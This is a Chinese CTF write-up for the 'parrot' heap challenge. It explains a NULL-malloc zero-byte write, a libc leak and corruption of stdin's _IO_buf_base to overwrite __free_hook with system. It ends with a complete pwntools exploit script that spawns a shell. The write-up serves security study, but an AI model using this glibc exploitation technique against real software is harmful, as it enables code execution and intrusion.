Tokyo Western,因为他们参加了WCTF,于是就有了这个题……

程序分析

程序非常简单,每次输入一个size之后malloc一个buffer,然后read数据进来,往buffer尾部写一个0,之后再write出来,像鹦鹉一样,所以叫做parrot。总的来说,就是下面一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
while(1) {
puts("Size:");
scanf("%lu", &size);
getchar();
if ( !size )
break;
buf = malloc(size);
puts("Buffer:");
read(0, buf, size);
*((_BYTE *)buf + size - 1) = 0;
write(1, buf, size);
free(buf);
}

要说漏洞,就是这个size可以被完全控制,当size过大时buf会返回NULL,这样在下面其实就是向size-1的位置写了个0,相当于一个任意地址写0.

利用思路

首先做一个libc的leak,先malloc出2个不同大小的fastbin chunk,之后触发一个malloc_consolidate,这样上面一个fastbin chunk在被投入unsorted bin时就会留下其指针。在之后利用write读出来就可以leak libc了。

之后就是通过这个任意地址写0进行破坏了,在想了好几个目标之后,我想到了@angelboy在WCTF上教的位置……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_IO_FILE_plus
{
file = _IO_FILE
{
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
_IO_read_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

在stdin的_IO_FILE结构中,_IO_buf_base_IO_buf_end指示了这个FILE使用buffer的位置,由于程序做了setbuf的操作,这个buffer就位于结构体内部_shortbuf的位置。如果将一个0写到_IO_buf_base的最低位,就可以将buffer往前扩展。在scanf输入时,输入的数据会覆盖掉_IO_buf_base指针自身,我们可以把它修改成__free_hook的地址。这样在本身buffer里面的字符消耗完之后,就可以进一步去修改__free_hook了。

之后通过输入一些字符来让buffer全都消耗掉,再写入system的地址就可以了。

利用本身写的不是很稳定,可能是在输入的处理上有些问题。

参考脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = remote('pwn2.chal.ctf.westerns.tokyo',31337)

libc_remote = {
'base': 0x0,
'unsorted_bin': 0x3c4b78,
'base_ptr': 0x3c4918,
'free_hook': 0x3c67a8,
'system': 0x45390
}

libc = libc_remote

def set_base(mod, ref, addr):
base = addr - mod[ref]
for element in mod:
mod[element] += base

def malloc(sz, payload=None):
p.recvuntil('Size:\n')
p.sendline(str(sz))
p.recvuntil('Buffer:')
if payload:
p.send(payload)
time.sleep(0.1)

# malloc_consolidate
malloc(0x20-8, 'AAAA')
malloc(0x30-8, 'BBBB')
malloc(0x90-8, 'CCCC')

# leak libc
malloc(0x20-8, 'AAAAAAAA')
p.recvuntil('AAAAAAAA')
unsorted_bin = u64(p.recv(8))
print('[+] unsorted bin @ %#x' % unsorted_bin)
set_base(libc, 'unsorted_bin', unsorted_bin)
print('[+] libc base @ %#x' % libc['base'])

malloc(libc['base_ptr']+1, '\n')
p.recvuntil('Size:\n')
p.send('0' * 0x16 + '1\0' + p64(libc['free_hook']-8) + p64(libc['free_hook']+8))

for i in range(15):
p.recvuntil('Buffer:\n')
p.send('\n')
time.sleep(0.1)

p.recvuntil('Size:\n')
p.send('20\n'.ljust(8, '\0') + p64(libc['system']))
p.recvuntil('Buffer:\n')
p.send('/bin/sh\0')

p.interactive()